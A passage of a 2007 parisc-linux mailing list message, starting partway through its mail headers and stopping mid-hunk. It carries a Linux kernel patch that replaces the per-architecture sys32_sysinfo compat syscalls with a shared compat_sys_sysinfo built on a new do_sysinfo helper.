	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 08:41:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28817-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Jan 2007 08:41:04 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 434167DAA3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 08:41:04 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id D6E2B584099;
	Sun,  7 Jan 2007 10:41:03 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 5898E584095;
	Sun,  7 Jan 2007 10:41:02 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[74.105.6.106])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id E770C837DC;
	Sun,  7 Jan 2007 10:41:00 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 039683B06E; Sun,  7 Jan 2007 10:40:45 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20070107152213.GC3207@athena.road.mcmartin.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /mXIKiceMydyf4igZWplLXFraGRhZpqA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24223

diff --git a/arch/ia64/ia32/ia32_entry.S b/arch/ia64/ia32/ia32_entry.S
index a32cd59..0a76de0 100644
--- a/arch/ia64/ia32/ia32_entry.S
+++ b/arch/ia64/ia32/ia32_entry.S
@@ -326,7 +326,7 @@ ia32_syscall_table:
 	data8 sys_ni_syscall
 	data8 compat_sys_wait4
 	data8 sys_swapoff	  /* 115 */
-	data8 sys32_sysinfo
+	data8 compat_sys_sysinfo 
 	data8 sys32_ipc
 	data8 sys_fsync
 	data8 sys32_sigreturn
diff --git a/arch/ia64/ia32/sys_ia32.c b/arch/ia64/ia32/sys_ia32.c
index 957681c..d430d36 100644
--- a/arch/ia64/ia32/sys_ia32.c
+++ b/arch/ia64/ia32/sys_ia32.c
@@ -2209,74 +2209,6 @@ sys32_fstat64 (unsigned int fd, struct stat64 __user *statbuf)
 	return ret;
 }
 
-struct sysinfo32 {
-	s32 uptime;
-	u32 loads[3];
-	u32 totalram;
-	u32 freeram;
-	u32 sharedram;
-	u32 bufferram;
-	u32 totalswap;
-	u32 freeswap;
-	u16 procs;
-	u16 pad;
-	u32 totalhigh;
-	u32 freehigh;
-	u32 mem_unit;
-	char _f[8];
-};
-
-asmlinkage long
-sys32_sysinfo (struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	long ret, err;
-	int bitcount = 0;
-	mm_segment_t old_fs = get_fs();
-
-	set_fs(KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *) &s);
-	set_fs(old_fs);
-	/* Check to see if any memory value is too large for 32-bit and
-	 * scale down if needed.
-	 */
-	if ((s.totalram >> 32) || (s.totalswap >> 32)) {
-		while (s.mem_unit < PAGE_SIZE) {
-			s.mem_unit <<= 1;
-			bitcount++;
-		}
-		s.totalram >>= bitcount;
-		s.freeram >>= bitcount;
-		s.sharedram >>= bitcount;
-		s.bufferram >>= bitcount;
-		s.totalswap >>= bitcount;
-		s.freeswap >>= bitcount;
-		s.totalhigh >>= bitcount;
-		s.freehigh >>= bitcount;
-	}
-
-	if (!access_ok(VERIFY_WRITE, info, sizeof(*info)))
-		return -EFAULT;
-
-	err  = __put_user(s.uptime, &info->uptime);
-	err |= __put_user(s.loads[0], &info->loads[0]);
-	err |= __put_user(s.loads[1], &info->loads[1]);
-	err |= __put_user(s.loads[2], &info->loads[2]);
-	err |= __put_user(s.totalram, &info->totalram);
-	err |= __put_user(s.freeram, &info->freeram);
-	err |= __put_user(s.sharedram, &info->sharedram);
-	err |= __put_user(s.bufferram, &info->bufferram);
-	err |= __put_user(s.totalswap, &info->totalswap);
-	err |= __put_user(s.freeswap, &info->freeswap);
-	err |= __put_user(s.procs, &info->procs);
-	err |= __put_user (s.totalhigh, &info->totalhigh);
-	err |= __put_user (s.freehigh, &info->freehigh);
-	err |= __put_user (s.mem_unit, &info->mem_unit);
-	if (err)
-		return -EFAULT;
-	return ret;
-}
-
 asmlinkage long
 sys32_sched_rr_get_interval (pid_t pid, struct compat_timespec __user *interval)
 {
diff --git a/arch/mips/kernel/linux32.c b/arch/mips/kernel/linux32.c
index b061c9a..c4a9cb7 100644
--- a/arch/mips/kernel/linux32.c
+++ b/arch/mips/kernel/linux32.c
@@ -193,50 +193,6 @@ sysn32_waitid(int which, compat_pid_t pid,
 	return ret;
 }
 
-struct sysinfo32 {
-        s32 uptime;
-        u32 loads[3];
-        u32 totalram;
-        u32 freeram;
-        u32 sharedram;
-        u32 bufferram;
-        u32 totalswap;
-        u32 freeswap;
-        u16 procs;
-	u32 totalhigh;
-	u32 freehigh;
-	u32 mem_unit;
-	char _f[8];
-};
-
-asmlinkage int sys32_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	int ret, err;
-	mm_segment_t old_fs = get_fs ();
-
-	set_fs (KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *)&s);
-	set_fs (old_fs);
-	err = put_user (s.uptime, &info->uptime);
-	err |= __put_user (s.loads[0], &info->loads[0]);
-	err |= __put_user (s.loads[1], &info->loads[1]);
-	err |= __put_user (s.loads[2], &info->loads[2]);
-	err |= __put_user (s.totalram, &info->totalram);
-	err |= __put_user (s.freeram, &info->freeram);
-	err |= __put_user (s.sharedram, &info->sharedram);
-	err |= __put_user (s.bufferram, &info->bufferram);
-	err |= __put_user (s.totalswap, &info->totalswap);
-	err |= __put_user (s.freeswap, &info->freeswap);
-	err |= __put_user (s.procs, &info->procs);
-	err |= __put_user (s.totalhigh, &info->totalhigh);
-	err |= __put_user (s.freehigh, &info->freehigh);
-	err |= __put_user (s.mem_unit, &info->mem_unit);
-	if (err)
-		return -EFAULT;
-	return ret;
-}
-
 #define RLIM_INFINITY32	0x7fffffff
 #define RESOURCE32(x) ((x > RLIM_INFINITY32) ? RLIM_INFINITY32 : x)
 
diff --git a/arch/mips/kernel/scall64-n32.S b/arch/mips/kernel/scall64-n32.S
index 34567d8..d2ce8f6 100644
--- a/arch/mips/kernel/scall64-n32.S
+++ b/arch/mips/kernel/scall64-n32.S
@@ -217,7 +217,7 @@ EXPORT(sysn32_call_table)
 	PTR	sys32_gettimeofday
 	PTR	compat_sys_getrlimit		/* 6095 */
 	PTR	compat_sys_getrusage
-	PTR	sys32_sysinfo
+	PTR	compat_sys_sysinfo
 	PTR	compat_sys_times
 	PTR	sys32_ptrace
 	PTR	sys_getuid			/* 6100 */
diff --git a/arch/mips/kernel/scall64-o32.S b/arch/mips/kernel/scall64-o32.S
index e91379c..4b5c513 100644
--- a/arch/mips/kernel/scall64-o32.S
+++ b/arch/mips/kernel/scall64-o32.S
@@ -321,7 +321,7 @@ sys_call_table:
 	PTR	sys_ni_syscall			/* sys_vm86 */
 	PTR	compat_sys_wait4
 	PTR	sys_swapoff			/* 4115 */
-	PTR	sys32_sysinfo
+	PTR	compat_sys_sysinfo
 	PTR	sys32_ipc
 	PTR	sys_fsync
 	PTR	sys32_sigreturn
diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index 29be437..ce3245f 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -579,70 +579,6 @@ asmlinkage int sys32_sendfile64(int out_fd, int in_fd, compat_loff_t __user *off
 }
 
 
-struct sysinfo32 {
-	s32 uptime;
-	u32 loads[3];
-	u32 totalram;
-	u32 freeram;
-	u32 sharedram;
-	u32 bufferram;
-	u32 totalswap;
-	u32 freeswap;
-	unsigned short procs;
-	u32 totalhigh;
-	u32 freehigh;
-	u32 mem_unit;
-	char _f[12];
-};
-
-/* We used to call sys_sysinfo and translate the result.  But sys_sysinfo
- * undoes the good work done elsewhere, and rather than undoing the
- * damage, I decided to just duplicate the code from sys_sysinfo here.
- */
-
-asmlinkage int sys32_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo val;
-	int err;
-	unsigned long seq;
-
-	/* We don't need a memset here because we copy the
-	 * struct to userspace once element at a time.
-	 */
-
-	do {
-		seq = read_seqbegin(&xtime_lock);
-		val.uptime = jiffies / HZ;
-
-		val.loads[0] = avenrun[0] << (SI_LOAD_SHIFT - FSHIFT);
-		val.loads[1] = avenrun[1] << (SI_LOAD_SHIFT - FSHIFT);
-		val.loads[2] = avenrun[2] << (SI_LOAD_SHIFT - FSHIFT);
-
-		val.procs = nr_threads;
-	} while (read_seqretry(&xtime_lock, seq));
-
-
-	si_meminfo(&val);
-	si_swapinfo(&val);
-	
-	err = put_user (val.uptime, &info->uptime);
-	err |= __put_user (val.loads[0], &info->loads[0]);
-	err |= __put_user (val.loads[1], &info->loads[1]);
-	err |= __put_user (val.loads[2], &info->loads[2]);
-	err |= __put_user (val.totalram, &info->totalram);
-	err |= __put_user (val.freeram, &info->freeram);
-	err |= __put_user (val.sharedram, &info->sharedram);
-	err |= __put_user (val.bufferram, &info->bufferram);
-	err |= __put_user (val.totalswap, &info->totalswap);
-	err |= __put_user (val.freeswap, &info->freeswap);
-	err |= __put_user (val.procs, &info->procs);
-	err |= __put_user (val.totalhigh, &info->totalhigh);
-	err |= __put_user (val.freehigh, &info->freehigh);
-	err |= __put_user (val.mem_unit, &info->mem_unit);
-	return err ? -EFAULT : 0;
-}
-
-
 /* lseek() needs a wrapper because 'offset' can be negative, but the top
  * half of the argument has been zeroed by syscall.S.
  */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 701d66a..be8eb9a 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -197,7 +197,7 @@
 	/* struct rusage contains longs... */
 	ENTRY_COMP(wait4)
 	ENTRY_SAME(swapoff)		/* 115 */
-	ENTRY_DIFF(sysinfo)
+	ENTRY_COMP(sysinfo)
 	ENTRY_SAME(shutdown)
 	ENTRY_SAME(fsync)
 	ENTRY_SAME(madvise)
diff --git a/arch/powerpc/kernel/sys_ppc32.c b/arch/powerpc/kernel/sys_ppc32.c
index 03a2a2f..673e8d9 100644
--- a/arch/powerpc/kernel/sys_ppc32.c
+++ b/arch/powerpc/kernel/sys_ppc32.c
@@ -198,73 +198,6 @@ static inline long put_tv32(struct compat_timeval __user *o, struct timeval *i)
 		 __put_user(i->tv_usec, &o->tv_usec)));
 }
 
-struct sysinfo32 {
-        s32 uptime;
-        u32 loads[3];
-        u32 totalram;
-        u32 freeram;
-        u32 sharedram;
-        u32 bufferram;
-        u32 totalswap;
-        u32 freeswap;
-        unsigned short procs;
-	unsigned short pad;
-	u32 totalhigh;
-	u32 freehigh;
-	u32 mem_unit;
-	char _f[20-2*sizeof(int)-sizeof(int)];
-};
-
-asmlinkage long compat_sys_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	int ret, err;
-	int bitcount=0;
-	mm_segment_t old_fs = get_fs ();
-	
-	/* The __user cast is valid due to set_fs() */
-	set_fs (KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *)&s);
-	set_fs (old_fs);
-
-	/* Check to see if any memory value is too large for 32-bit and
-         * scale down if needed.
-         */
-	if ((s.totalram >> 32) || (s.totalswap >> 32)) {
-	    while (s.mem_unit < PAGE_SIZE) {
-		s.mem_unit <<= 1;
-		bitcount++;
-	    }
-	    s.totalram >>=bitcount;
-	    s.freeram >>= bitcount;
-	    s.sharedram >>= bitcount;
-	    s.bufferram >>= bitcount;
-	    s.totalswap >>= bitcount;
-	    s.freeswap >>= bitcount;
-	    s.totalhigh >>= bitcount;
-	    s.freehigh >>= bitcount;
-	}
-
-	err = put_user (s.uptime, &info->uptime);
-	err |= __put_user (s.loads[0], &info->loads[0]);
-	err |= __put_user (s.loads[1], &info->loads[1]);
-	err |= __put_user (s.loads[2], &info->loads[2]);
-	err |= __put_user (s.totalram, &info->totalram);
-	err |= __put_user (s.freeram, &info->freeram);
-	err |= __put_user (s.sharedram, &info->sharedram);
-	err |= __put_user (s.bufferram, &info->bufferram);
-	err |= __put_user (s.totalswap, &info->totalswap);
-	err |= __put_user (s.freeswap, &info->freeswap);
-	err |= __put_user (s.procs, &info->procs);
-	err |= __put_user (s.totalhigh, &info->totalhigh);
-	err |= __put_user (s.freehigh, &info->freehigh);
-	err |= __put_user (s.mem_unit, &info->mem_unit);
-	if (err)
-		return -EFAULT;
-	
-	return ret;
-}
-
 
 
 
diff --git a/arch/s390/kernel/compat_linux.c b/arch/s390/kernel/compat_linux.c
index 5b33f82..88b5858 100644
--- a/arch/s390/kernel/compat_linux.c
+++ b/arch/s390/kernel/compat_linux.c
@@ -392,51 +392,6 @@ int cp_compat_stat(struct kstat *stat, struct compat_stat __user *statbuf)
 	return err;
 }
 
-struct sysinfo32 {
-        s32 uptime;
-        u32 loads[3];
-        u32 totalram;
-        u32 freeram;
-        u32 sharedram;
-        u32 bufferram;
-        u32 totalswap;
-        u32 freeswap;
-        unsigned short procs;
-	unsigned short pads;
-	u32 totalhigh;
-	u32 freehigh;
-	unsigned int mem_unit;
-        char _f[8];
-};
-
-asmlinkage long sys32_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	int ret, err;
-	mm_segment_t old_fs = get_fs ();
-	
-	set_fs (KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *) &s);
-	set_fs (old_fs);
-	err = put_user (s.uptime, &info->uptime);
-	err |= __put_user (s.loads[0], &info->loads[0]);
-	err |= __put_user (s.loads[1], &info->loads[1]);
-	err |= __put_user (s.loads[2], &info->loads[2]);
-	err |= __put_user (s.totalram, &info->totalram);
-	err |= __put_user (s.freeram, &info->freeram);
-	err |= __put_user (s.sharedram, &info->sharedram);
-	err |= __put_user (s.bufferram, &info->bufferram);
-	err |= __put_user (s.totalswap, &info->totalswap);
-	err |= __put_user (s.freeswap, &info->freeswap);
-	err |= __put_user (s.procs, &info->procs);
-	err |= __put_user (s.totalhigh, &info->totalhigh);
-	err |= __put_user (s.freehigh, &info->freehigh);
-	err |= __put_user (s.mem_unit, &info->mem_unit);
-	if (err)
-		return -EFAULT;
-	return ret;
-}
-
 asmlinkage long sys32_sched_rr_get_interval(compat_pid_t pid,
 				struct compat_timespec __user *interval)
 {
diff --git a/arch/s390/kernel/compat_wrapper.S b/arch/s390/kernel/compat_wrapper.S
index 71e54ef..9790129 100644
--- a/arch/s390/kernel/compat_wrapper.S
+++ b/arch/s390/kernel/compat_wrapper.S
@@ -517,10 +517,10 @@ sys32_swapoff_wrapper:
 	llgtr	%r2,%r2			# const char *
 	jg	sys_swapoff		# branch to system call
 
-	.globl	sys32_sysinfo_wrapper
-sys32_sysinfo_wrapper:
+	.globl	compat_sys_sysinfo_wrapper
+compat_sys_sysinfo_wrapper:
 	llgtr	%r2,%r2			# struct sysinfo_emu31 *
-	jg	sys32_sysinfo		# branch to system call
+	jg	compat_sys_sysinfo	# branch to system call
 
 	.globl	sys32_ipc_wrapper
 sys32_ipc_wrapper:
diff --git a/arch/s390/kernel/syscalls.S b/arch/s390/kernel/syscalls.S
index a4ceae3..a52c444 100644
--- a/arch/s390/kernel/syscalls.S
+++ b/arch/s390/kernel/syscalls.S
@@ -124,7 +124,7 @@ NI_SYSCALL							/* old "idle" system call */
 NI_SYSCALL							/* vm86old for i386 */
 SYSCALL(sys_wait4,sys_wait4,compat_sys_wait4_wrapper)
 SYSCALL(sys_swapoff,sys_swapoff,sys32_swapoff_wrapper)		/* 115 */
-SYSCALL(sys_sysinfo,sys_sysinfo,sys32_sysinfo_wrapper)
+SYSCALL(sys_sysinfo,sys_sysinfo,compat_sys_sysinfo_wrapper)
 SYSCALL(sys_ipc,sys_ipc,sys32_ipc_wrapper)
 SYSCALL(sys_fsync,sys_fsync,sys32_fsync_wrapper)
 SYSCALL(sys_sigreturn_glue,sys_sigreturn_glue,sys32_sigreturn_glue)
diff --git a/arch/sparc64/kernel/sys_sparc32.c b/arch/sparc64/kernel/sys_sparc32.c
index e27cb71..7876a02 100644
--- a/arch/sparc64/kernel/sys_sparc32.c
+++ b/arch/sparc64/kernel/sys_sparc32.c
@@ -459,70 +459,6 @@ asmlinkage long compat_sys_sysfs(int option, u32 arg1, u32 arg2)
 	return sys_sysfs(option, arg1, arg2);
 }
 
-struct sysinfo32 {
-        s32 uptime;
-        u32 loads[3];
-        u32 totalram;
-        u32 freeram;
-        u32 sharedram;
-        u32 bufferram;
-        u32 totalswap;
-        u32 freeswap;
-        unsigned short procs;
-	unsigned short pad;
-	u32 totalhigh;
-	u32 freehigh;
-	u32 mem_unit;
-	char _f[20-2*sizeof(int)-sizeof(int)];
-};
-
-asmlinkage long sys32_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	int ret, err;
-	int bitcount = 0;
-	mm_segment_t old_fs = get_fs ();
-	
-	set_fs(KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *) &s);
-	set_fs(old_fs);
-	/* Check to see if any memory value is too large for 32-bit and
-         * scale down if needed.
-         */
-	if ((s.totalram >> 32) || (s.totalswap >> 32)) {
-		while (s.mem_unit < PAGE_SIZE) {
-			s.mem_unit <<= 1;
-			bitcount++;
-		}
-		s.totalram >>= bitcount;
-		s.freeram >>= bitcount;
-		s.sharedram >>= bitcount;
-		s.bufferram >>= bitcount;
-		s.totalswap >>= bitcount;
-		s.freeswap >>= bitcount;
-		s.totalhigh >>= bitcount;
-		s.freehigh >>= bitcount;
-	}
-
-	err = put_user (s.uptime, &info->uptime);
-	err |= __put_user (s.loads[0], &info->loads[0]);
-	err |= __put_user (s.loads[1], &info->loads[1]);
-	err |= __put_user (s.loads[2], &info->loads[2]);
-	err |= __put_user (s.totalram, &info->totalram);
-	err |= __put_user (s.freeram, &info->freeram);
-	err |= __put_user (s.sharedram, &info->sharedram);
-	err |= __put_user (s.bufferram, &info->bufferram);
-	err |= __put_user (s.totalswap, &info->totalswap);
-	err |= __put_user (s.freeswap, &info->freeswap);
-	err |= __put_user (s.procs, &info->procs);
-	err |= __put_user (s.totalhigh, &info->totalhigh);
-	err |= __put_user (s.freehigh, &info->freehigh);
-	err |= __put_user (s.mem_unit, &info->mem_unit);
-	if (err)
-		return -EFAULT;
-	return ret;
-}
-
 asmlinkage long compat_sys_sched_rr_get_interval(compat_pid_t pid, struct compat_timespec __user *interval)
 {
 	struct timespec t;
diff --git a/arch/sparc64/kernel/systbls.S b/arch/sparc64/kernel/systbls.S
index 9a80267..948b7d2 100644
--- a/arch/sparc64/kernel/systbls.S
+++ b/arch/sparc64/kernel/systbls.S
@@ -61,7 +61,7 @@ sys_call_table32:
 	.word sys32_epoll_wait, sys32_ioprio_set, sys_getppid, sys32_sigaction, sys_sgetmask
 /*200*/	.word sys32_ssetmask, sys_sigsuspend, compat_sys_newlstat, sys_uselib, compat_sys_old_readdir
 	.word sys32_readahead, sys32_socketcall, sys32_syslog, sys32_lookup_dcookie, sys32_fadvise64
-/*210*/	.word sys32_fadvise64_64, sys32_tgkill, sys32_waitpid, sys_swapoff, sys32_sysinfo
+/*210*/	.word sys32_fadvise64_64, sys32_tgkill, sys32_waitpid, sys_swapoff, compat_sys_sysinfo
 	.word sys32_ipc, sys32_sigreturn, sys_clone, sys32_ioprio_get, compat_sys_adjtimex
 /*220*/	.word sys32_sigprocmask, sys_ni_syscall, sys32_delete_module, sys_ni_syscall, sys32_getpgid
 	.word sys32_bdflush, sys32_sysfs, sys_nis_syscall, sys32_setfsuid16, sys32_setfsgid16
diff --git a/arch/x86_64/ia32/ia32entry.S b/arch/x86_64/ia32/ia32entry.S
index b4aa875..5f32cf4 100644
--- a/arch/x86_64/ia32/ia32entry.S
+++ b/arch/x86_64/ia32/ia32entry.S
@@ -515,7 +515,7 @@ ia32_sys_call_table:
 	.quad sys32_vm86_warning	/* vm86old */ 
 	.quad compat_sys_wait4
 	.quad sys_swapoff		/* 115 */
-	.quad sys32_sysinfo
+	.quad compat_sys_sysinfo
 	.quad sys32_ipc
 	.quad sys_fsync
 	.quad stub32_sigreturn
diff --git a/arch/x86_64/ia32/sys_ia32.c b/arch/x86_64/ia32/sys_ia32.c
index c9bac3a..200fdde 100644
--- a/arch/x86_64/ia32/sys_ia32.c
+++ b/arch/x86_64/ia32/sys_ia32.c
@@ -523,72 +523,6 @@ sys32_sysfs(int option, u32 arg1, u32 arg2)
 	return sys_sysfs(option, arg1, arg2);
 }
 
-struct sysinfo32 {
-        s32 uptime;
-        u32 loads[3];
-        u32 totalram;
-        u32 freeram;
-        u32 sharedram;
-        u32 bufferram;
-        u32 totalswap;
-        u32 freeswap;
-        unsigned short procs;
-	unsigned short pad; 
-        u32 totalhigh;
-        u32 freehigh;
-        u32 mem_unit;
-        char _f[20-2*sizeof(u32)-sizeof(int)];
-};
-
-asmlinkage long
-sys32_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	int ret;
-	mm_segment_t old_fs = get_fs ();
-	int bitcount = 0;
-	
-	set_fs (KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *)&s);
-	set_fs (old_fs);
-
-        /* Check to see if any memory value is too large for 32-bit and scale
-	 *  down if needed
-	 */
-	if ((s.totalram >> 32) || (s.totalswap >> 32)) {
-		while (s.mem_unit < PAGE_SIZE) {
-			s.mem_unit <<= 1;
-			bitcount++;
-		}
-		s.totalram >>= bitcount;
-		s.freeram >>= bitcount;
-		s.sharedram >>= bitcount;
-		s.bufferram >>= bitcount;
-		s.totalswap >>= bitcount;
-		s.freeswap >>= bitcount;
-		s.totalhigh >>= bitcount;
-		s.freehigh >>= bitcount;
-	}
-
-	if (!access_ok(VERIFY_WRITE, info, sizeof(struct sysinfo32)) ||
-	    __put_user (s.uptime, &info->uptime) ||
-	    __put_user (s.loads[0], &info->loads[0]) ||
-	    __put_user (s.loads[1], &info->loads[1]) ||
-	    __put_user (s.loads[2], &info->loads[2]) ||
-	    __put_user (s.totalram, &info->totalram) ||
-	    __put_user (s.freeram, &info->freeram) ||
-	    __put_user (s.sharedram, &info->sharedram) ||
-	    __put_user (s.bufferram, &info->bufferram) ||
-	    __put_user (s.totalswap, &info->totalswap) ||
-	    __put_user (s.freeswap, &info->freeswap) ||
-	    __put_user (s.procs, &info->procs) ||
-	    __put_user (s.totalhigh, &info->totalhigh) || 
-	    __put_user (s.freehigh, &info->freehigh) ||
-	    __put_user (s.mem_unit, &info->mem_unit))
-		return -EFAULT;
-	return 0;
-}
-                
 asmlinkage long
 sys32_sched_rr_get_interval(compat_pid_t pid, struct compat_timespec __user *interval)
 {
diff --git a/include/linux/kernel.h b/include/linux/kernel.h
index b0c4a05..8bdc929 100644
--- a/include/linux/kernel.h
+++ b/include/linux/kernel.h
@@ -309,6 +309,9 @@ static inline int __attribute__ ((format (printf, 1, 2))) pr_debug(const char *
 	(void)__tmp; \
 })
 
+struct sysinfo;
+extern int do_sysinfo(struct sysinfo *info);
+
 #endif /* __KERNEL__ */
 
 #define SI_LOAD_SHIFT	16
diff --git a/kernel/compat.c b/kernel/compat.c
index 6952dd0..cebb4c2 100644
--- a/kernel/compat.c
+++ b/kernel/compat.c
@@ -1016,3 +1016,69 @@ asmlinkage long compat_sys_migrate_pages(compat_pid_t pid,
 	return sys_migrate_pages(pid, nr_bits + 1, old, new);
 }
 #endif
+
+struct compat_sysinfo {
+	s32 uptime;
+	u32 loads[3];
+	u32 totalram;
+	u32 freeram;
+	u32 sharedram;
+	u32 bufferram;
+	u32 totalswap;
+	u32 freeswap;
+	u16 procs;
+	u16 pad;
+	u32 totalhigh;
+	u32 freehigh;
+	u32 mem_unit;
+	char _f[20-2*sizeof(u32)-sizeof(int)];
+};
+
+asmlinkage long
+compat_sys_sysinfo(struct compat_sysinfo __user *info)
+{
+	struct sysinfo s;
+
+	do_sysinfo(&s);
+
+	/* Check to see if any memory value is too large for 32-bit and scale
+	 *  down if needed
+	 */
+	if ((s.totalram >> 32) || (s.totalswap >> 32)) {
+		int bitcount = 0;
+
+		while (s.mem_unit < PAGE_SIZE) {
+			s.mem_unit <<= 1;
+			bitcount++;
+		}
+
+		s.totalram >>= bitcount;
+		s.freeram >>= bitcount;
+		s.sharedram >>= bitcount;
+		s.bufferram >>= bitcount;
+		s.totalswap >>= bitcount;
+		s.freeswap >>= bitcount;
+		s.totalhigh >>= bitcount;
+		s.freehigh >>= bitcount;
+	}
+
+	if (!access_ok(VERIFY_WRITE, info, sizeof(struct compat_sysinfo)) ||
+	    __put_user (s.uptime, &info->uptime) ||
+	    __put_user (s.loads[0], &info->loads[0]) ||
+	    __put_user (s.loads[1], &info->loads[1]) ||
+	    __put_user (s.loads[2], &info->loads[2]) ||
+	    __put_user (s.totalram, &info->totalram) ||
+	    __put_user (s.freeram, &info->freeram) ||
+	    __put_user (s.sharedram, &info->sharedram) ||
+	    __put_user (s.bufferram, &info->bufferram) ||
+	    __put_user (s.totalswap, &info->totalswap) ||
+	    __put_user (s.freeswap, &info->freeswap) ||
+	    __put_user (s.procs, &info->procs) ||
+	    __put_user (s.totalhigh, &info->totalhigh) ||
+	    __put_user (s.freehigh, &info->freehigh) ||
+	    __put_user (s.mem_unit, &info->mem_unit))
+		return -EFAULT;
+
+	return 0;
+}
+
diff --git a/kernel/timer.c b/kernel/timer.c
index c2a8ccf..28ca2d4 100644
--- a/kernel/timer.c
+++ b/kernel/timer.c
@@ -1392,17 +1392,16 @@ asmlinkage long sys_gettid(void)
 }
 
 /**
- * sys_sysinfo - fill in sysinfo struct
+ * do_sysinfo - fill in sysinfo struct
  * @info: pointer to buffer to fill
  */ 
-asmlinkage long sys_sysinfo(struct sysinfo __user *info)
+int do_sysinfo(struct sysinfo *info)
 {
-	struct sysinfo val;
 	unsigned long mem_total, sav_total;
 	unsigned int mem_unit, bitcount;
 	unsigned long seq;
 
-	memset((char *)&val, 0, sizeof(struct sysinfo));
+	memset(info, 0, sizeof(struct sysinfo));
 
 	do {
 		struct timespec tp;
@@ -1422,17 +1421,17 @@ asmlinkage long sys_sysinfo(struct sysinfo __user *info)
 			tp.tv_nsec = tp.tv_nsec - NSEC_PER_SEC;
 			tp.tv_sec++;
 		}
-		val.uptime = tp.tv_sec + (tp.tv_nsec ? 1 : 0);
+		info->uptime = tp.tv_sec + (tp.tv_nsec ? 1 : 0);
 
-		val.loads[0] = avenrun[0] << (SI_LOAD_SHIFT - FSHIFT);
-		val.loads[1] = avenrun[1] << (SI_LOAD_SHIFT - FSHIFT);
-		val.loads[2] = avenrun[2] << (SI_LOAD_SHIFT - FSHIFT);
+		info->loads[0] = avenrun[0] << (SI_LOAD_SHIFT - FSHIFT);
+		info->loads[1] = avenrun[1] << (SI_LOAD_SHIFT - FSHIFT);
+		info->loads[2] = avenrun[2] << (SI_LOAD_SHIFT - FSHIFT);
 
-		val.procs = nr_threads;
+		info->procs = nr_threads;
 	} while (read_seqretry(&xtime_lock, seq));
 
-	si_meminfo(&val);
-	si_swapinfo(&val);
+	si_meminfo(info);
+	si_swapinfo(info);
 
 	/*
 	 * If the sum of all the available memory (i.e. ram + swap)
@@ -1443,11 +1442,11 @@ asmlinkage long sys_sysinfo(struct sysinfo __user *info)
 	 *  -Erik Andersen <andersee@debian.org>
 	 */
 
-	mem_total = val.totalram + val.totalswap;
-	if (mem_total < val.totalram || mem_total < val.totalswap)
+	mem_total = info->totalram + info->totalswap;
+	if (mem_total < info->totalram || mem_total < info->totalswap)
 		goto out;
 	bitcount = 0;
-	mem_unit = val.mem_unit;
+	mem_unit = info->mem_unit;
 	while (mem_unit > 1) {
 		bitcount++;
 		mem_unit >>= 1;
